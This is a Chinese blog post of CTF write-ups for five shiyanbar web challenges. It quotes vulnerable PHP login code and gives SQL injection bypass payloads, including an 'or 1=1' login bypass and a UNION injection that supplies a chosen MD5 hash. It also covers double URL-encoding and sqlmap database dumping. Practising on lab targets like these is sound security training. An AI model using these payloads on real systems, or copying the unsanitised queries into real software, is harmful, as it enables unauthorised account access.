实验吧CTF刷题记录（web篇）

原创

Tools-only 于 2017-03-10 10:55:37 发布 8333 收藏 3

1.这个看起来有点简单

解题链接： http://ctf5.shiyanbar.com/8/index.php?id=1

手工检测是否存在sql注入

使用sqlmap爆出当前数据库my_db 发现可能藏有key值的thiskey表 进一步爆出字段k0y并得到key值。

2.程序员的问题

解题链接： http://ctf5.shiyanbar.com/web/4/index.php

查看源码发现有隐藏链接 index.txt

```
登陆语句$sql = "select user from php where (user='$user') and (pw='$pass')";


  if($row['user']=="admin") {
     echo "<p>Logged in! Key: ********** </p>";
   }
```

可以看到存在管理员admin用户，并使用or语句尝试绕过登陆

admin' or 1=1)#

3.PHP大法

注意备份文件

解题链接： http://ctf5.shiyanbar.com/DUTCTF/index.php

打开链接发现 Can you authenticate to this website? index.php.txt
于是进入index.php.txt页面

```
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
```

此处应该注意encode两次（浏览器端+1次）
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

Access granted!

flag: DUTCTF{PHP_is_the_best_program_language}

4.what a fuck!这是什么鬼东西?

解题链接： http://ctf5.shiyanbar.com/DUTCTF/1.html

第一次接触到jother编码 复制粘贴到控制台enter弹出密码

5.程序逻辑问题

绕过

解题链接： http://ctf5.shiyanbar.com/web/5/index.php

```
if($_POST[user] && $_POST[pass]) {
 $conn = mysql_connect("********", "*****", "********");
 mysql_select_db("phpformysql") or die("Could not select database");
 if ($conn->connect_error) {
  die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
 printf("Error: %s\n", mysql_error($conn));
 exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
 echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");

  }


}
```

可以看到是使用post方式，pass是经过md5加密的。只需要构造row[pw]和pass加密后的的值相等就可以实现绕过，其中pass加密后的值我们可以通过输入控制，从而达到不用验证数据库中的真实账号密码。
账号框输入： xxx' and 0=1 union select "202cb962ac59075b964b07152d234b70" # 密码框输入：123
保证md5与输入的密码相同即可 其中0=1可以使前面语句失效，从而实现绕过。